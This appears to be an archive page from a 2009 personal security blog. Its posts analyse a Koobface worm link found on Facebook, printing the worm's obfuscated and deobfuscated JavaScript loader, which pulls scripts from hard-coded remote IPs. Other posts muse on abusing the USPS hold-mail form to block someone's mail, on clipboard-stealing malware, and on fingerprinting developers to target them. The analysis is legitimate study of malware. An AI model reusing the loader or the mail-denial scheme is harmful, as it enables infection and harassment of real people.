Showing posts with label attack. Show all posts
Showing posts with label attack. Show all posts

Friday, December 18, 2009

Free DOS Mail Attack

UPDATE: Well, I searched around to try and find other articles about this, and I came up with a bunch of them. Two of them can be found here: http://msmvps.com/blogs/alunj/archive/2007/06/09/can-t-i-trust-the-postal-service-part-3-the-service.aspx and at Bruce Schneier's blog here http://www.schneier.com/blog/archives/2006/04/man_diverts_mai.html

The online change of address service is a little better. It charges $1 to a credit card. It says it checks your identity using your payment info, but I'm sure you could get around that with a little social engineering. That idea is even scarier than the one I've written about in this post...

If my wife and I are going to be out of town for any extended period of time, we usually put our mail on hold so it won't be sitting there in our mailbox. We usually do this online at the USPS website. It had been quite a while since I had done this, and it occurred to me just how vulnerable this is to "attack". All the page requires is your name and address. No verification is required to make sure that the person placing the hold request is actually authorized to do so.

Talk about a DOS attack! All you need to know is someone's address and name and the dates you don't want them to receive any mail, and BOOM! you've denied that person of any mail. They can pick it up later though once they figure it out.

I looked more into this to see if there were any other catches that makes it at least a little more secure than I initially thought, but it turns out it's actually worse! This is what the FAQ on Hold Mail says:
  • Do I need to submit multiple Hold Mail requests if there is more than one person at the same address?

    All mail regardless of name will be held for the address entered. Submitting a Hold Mail request once is all that is required to holdmail delivery for everyone at the address.
So, not only do you hold all mail for that one person, you hold all mail for that entire address! It gets better! (also from the same FAQ page):
  • How do I make changes to a previously submitted Hold Mail request?

    To make changes to your original online or telephone Hold Mail request (dates, options, etc.), you will need your confirmation number. If making the change online:
    1. Go to Hold Mail Service and select "Edit or Cancel your HoldMail Request." The system will proceed to the "Customer Information" page.
    2. Select the "Edit your request" radio button and enter your confirmation number, street name/number, city, state, and 5-digit ZIP Code. The confirmation number is not case sensitive.
    3. After you enter the requested information, press the "Continue" button. The system will proceed to the "Edit a Request" page and display your HoldMail Request.
    4. Modify the beginning date, ending date or both to fit your current plans. If your Hold Mail request has started, you can only modify the ending date.
    5. After making updates, scroll to the bottom of the page and press the "Continue" button. Then press "Yes" to verify.
    6. A confirmation page will be displayed to indicate your request has been updated.
    To change an online or telephone Hold Mail request, you may also call us toll free at 1-800-ASK-USPS (1-800-275-8777) to cancel your request. You will need your confirmation number to alter your request by phone.

    If you made your Hold Mail request in person at your local Post Office or you do not have your confirmation number, you will need to go to your local Post Office to make changes to your Hold Mail request.
Wow, what a pain! If you do this, you will essentially be forcing them to go into the local Post Office in order to make any changes, since they need a confirmation code to change it online or over the phone.

Crazy stuff! There is also a text box for additional instructions. This is where things could really start to get interesting. You could try and switch people's mail by adding additional instructions to deliver all mail while "we" are gone to "my friend's" address (their neighbors) and then deliver all mail from the neighbor to "his friend's address" (the original target). This would probably confuse the heck out of any mail man (or is mail-worker more correct? Briefträger?), as well as both neighbors.

There are more nefarious deeds that come to mind about this, but I'll leave that up to you to have fun imagining things.

Sunday, September 27, 2009

Koobface on my Facebook II

Well, while I was starting to write up a post describing what the javascript file does, I found another link for koobface on my facebook! This time from a different domain: h t t p ://www.blackjackorchestra.eu/privaledwd/. This link does the exact same thing as the one in the previous post, except for a few differences in their php script quality :), as well as a few other minor changes. In my previous post, I described how the server-side script checked to see if you gave it a valid User-Agent before sending you the javascript in the content. This site does the same thing, but I guess some debug info was left in it! Here's the content that's sent back if you send it a request that does not contain a User-Agent header:
Request & Response (using netcat):
C:\>nc www.blackjackorchestra.eu 80
GET /privaledwd/ HTTP/1.1
HOST: www.blackjackorchestra.eu

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.1.1
X-Powered-By: ASP.NET
Date: Sun, 27 Sep 2009 15:32:28 GMT
Connection: close

<br />
<b>Notice</b>:  Undefined index:  HTTP_USER_AGENT in <b>d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php</b> on line <b>30</b><br />
<br />
<b>Notice</b>:  Undefined index:  HTTP_USER_AGENT in <b>d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php</b> on line <b>37</b><br />
<br />
<b>Notice</b>:  Undefined variable: rscript in <b>d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php</b> on line <b>42</b><br />
<title>Amazing Video</title>
ocwdtreifoyocrb egzcqgtcfx
<img src=afjo4blr.jpg>
ocecaahcqgeuzk qduzqsc
PHP Notice:  Undefined index:  HTTP_USER_AGENT in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 30
PHP Notice:  Undefined index:  HTTP_USER_AGENT in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 37
PHP Notice:  Undefined variable: rscript in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 42
Someone forgot to take out their debug info! Hahaha :) Well, if you do send a valid User-Agent, this is the content that gets sent back:
zzmjqoqvri byiktuysec
<script src="9r.js"></script> 
yadoemvy ilxnsxiilmsnqbb
Also, the javascript file is exactly the same, except for different random names for the variables, and two different ip addresses. The script in the last post had these two addresses: 59.93.80.251, 79.182.37.95. The script in this post doesn't have those two addresses, but has these two instead: 217.132.126.129, 90.17.65.193. Well, I think that covers it for this new koobface url. Now onto writing about that javascript...

Thursday, September 24, 2009

Koobface on my Facebook!

I was checking my facebook earlier today (something I almost never do), and noticed that someone had left a weird link on my wall: h t t p ://s217307881.mialojamiento.es/y0urc1ip/ I first visited the page in Firefox with javascript and such turned off. This is the source of the page as seen from firefox:
pcnxnkcaiztp cvnxmxxrgscdvkr
<script src="9j72fkj-de1w.js"></script>
qgdtubgfdho adbdzoam
I then decided to visit the page from the command line using netcat:
C:\>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:40:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

6e
<title>Amazing Video</title>
ucctsfnqmvyh ldaumylhrlljfb
<img src=j18sda5ncm8.jpg>
exlyansstgifbh wsrwmduxllj

0
Notice the difference? No javascript tag is found in the source. I did a little experimenting with the server and found that only requests that contain valid User-Agent headers will get the script tag:
C:\>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es
User-Agent: The Old Laundry Basket

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:49:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

6a
<title>Amazing Video</title>
ozgauyjgghjy aabkqxigumthaux
<img src=j18sda5ncm8.jpg>
jorivrc bjajszitzkdqh

0
This one is sending a User-Agent string that IE8 uses:
C:\Documents and Settings\Student>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 3.0.30729; InfoPath.3; .NET CLR 4.0.20506)

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:58:35 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

5c
upthmidfi ajglroelpsymijw
<script src="9j72fkj-de1w.js"></script>
ailsoghinur aaqajwmblrnbj

0
Now, onto the Javascript file: 9j72fkj-de1w.js. Below is the original contents of the file:
// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
    if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
  ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
  break;
    }
}
window.redirect = '';
function urocwfkgdsjq6() {
 var higeruoxzcnqsbad9 = '' + window.redirect;
 if (higeruoxzcnqsbad9.length > 0) window.location.href = higeruoxzcnqsbad9;
 else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n < 101) js = '/cnet';
 else if (n < 201) js = '/warn';
 else if (n < 301) js = '/scan';
 else if (n < 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < fomqnzlcd1.length; nilhfdopsrx7 ++) {
 var onjrmgcaifxsqtzb9 = document.createElement('script');
 onjrmgcaifxsqtzb9.type = 'text/javascript';
 onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}
And here is my version of it:
// KROTEG
var referrers = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i < referrers.length; i ++) {
    if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
  newPath = '/f=' + referrers[i][1];
  break;
    }
}
window.redirect = '';
function WaitForRedirect() {
 var currRedirect = '' + window.redirect;
 if (currRedirect.length > 0) window.location.href = currRedirect;
 else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n < 101) js = '/cnet';
 else if (n < 201) js = '/warn';
 else if (n < 301) js = '/scan';
 else if (n < 401) js = '';
}
for (var i = 0; i < ipAddresses.length; i ++) {
 var scriptTag = document.createElement('script');
 scriptTag.type = 'text/javascript';
 scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
I did some searching around for the word "KROTEG" and found this link: http://r3v3rs3e.wordpress.com/tag/kroteg/. What was on my wall was just another variant of the koobface worm.

I must say though, I found the javascript obfuscation to be quite simple to undo, which I did not expect coming from something that receives so much press.

I don't have time now to explain what the js file does, but will go through that in another post.

Friday, August 14, 2009

Clipboard Attacks

I was thinking today while I was using Remote Desktop to monitor one of the servers at work about how the clipboard is such a universally-accessible piece of the Windows operating system. To the extent of my knowledge, there is no real restriction on a program using or accessing it. A typical user will use the clipboard many many times a day, often copying important information and pasting it elsewhere.

Would it be feasible for a piece of malware to only monitor the clipboard and store all new text in a file? If so, the malware would stay relatively low profile and not draw any undue attention to itself. It would capture anything copied throughout the user's session. It would also capture anything copied in a remote desktop connection, since all things copied in remote desktop are also available to be pasted in the user's actual desktop (and visa versa). I am sure there are hundreds of other interesting situations where one could take advantage of the universality of the clipboard.

One interesting example of clipboard usage, although not related to capturing copied information, is related to RSnake's post about De-cloaking in IE7.0 using windows variables. All it would take for this to actually work is for a user to be sent an email with a link in it that doesn't go anywhere. Under the link, some text could say "Link not working? Copy and paste this into your address bar..." and boom! variable expansion and the accessed server has logged whatever expanded windows variables were contained in the copied url.

Tuesday, June 2, 2009

Client Fingerprinting

At my current job, I do a lot of programming with Flash (Flex, actually), as well as asp.net and similar platforms. I am constantly working on and debugging the web-apps I manage and develop. I have a debug flash player installed on most of the browsers I surf the web with, as well as numerous browser add-ons/extensions that help with development. I've been wondering lately if I should be more careful about the signature my browser creates.

A few weeks ago, I had a rather disconcerting thought that attackers might specifically target web developers for client side attacks. Who else would be a better target? Of all employees in a company, developers are probably given the most rights/permissions when they actually don't need them to get the job done. Also, developers require access to databases and test and production systems and are given more leeway than most.

One might ask: "Why would a developer as a potential target be preferred over someone else, such as a network admin, who also has access to critical systems?"
  • First, typical web developers are easily distinguished from normal traffic on a web site through information that is available from the browser, whereas system admins usually don't carry such an obvious signature when surfing the web.
  • Second, occasional erratic computer/browser behavior is something developers are accustomed to and is something those who work with the developers could easily explain away and dismiss.
  • Third, many web developers are not focused as much as they should be on the security of their apps, let alone their own personal security when they develop web applications.
  • Fourth, sites commonly visited by web-developers are easily identified. Sites (forums especially) that contain walkthroughs and tutorials for certain technologies and practices would most certainly be visited frequently by developers.
By targetting web developers, attackers would be able to focus their efforts on clients who have a greater potential for a good pay-off.

There are several applications that need special "debug" versions of a program to be installed in order for the developer to debug his applications. The foremost in my mind is the Flash Debug player. The Flash Debug player is very easily detected. It obviously has more functionality than the normal player, possibly additional functionality that has not been tested as well as the normal Flash Player's basic functionalities. The Flash Debug Player allows a debugger to connect to the loaded swf and step through the execution line by line. What were to happen if a malicious swf with additional debug information were loaded into a debugger? Although not very likely, it is something to think about, especially when several apps found online automatically display the "Connect to Remote Debugger" dialog when a Flash Debug player is installed. Also, since a debug flash player is so easily detected, it would be yet another easily obtained signature that would flag a user as being a developer.

Here are some common and basic "signatures" that I have come up with that should flag a user as being a web developer:
  • Firebug Extension/Add-on
  • Debug Flash Player
  • Web Developer Extension/Add-on
  • User Agent Switcher Extension/Add-on
  • Tamper Data Extension/Add-on
  • Codetech Extension/Add-on
  • Greasemonkey Extension/Add-on
  • Colorzilla Extension/Add-on
  • MeasureIt Extension/Add-on
  • Hundreds of others...
As to whether or not all of these can be detected on the client side still remains to be seen, although many of them already can be. (Firebug can for sure -- POC - open up gmail and turn on Firebug. Gmail should tell you that firebug slows Gmail down).

Also note that the general idea of fingerprinting clients through readily available information can be used not only to detect the presence of a web-developer, but also possibly to determine how "savvy" the user is with computer technologies, and to detect other "classes" of users (network admin, n00b, old person [?], hacker, teacher, designer, etc.).

Knowledge is power.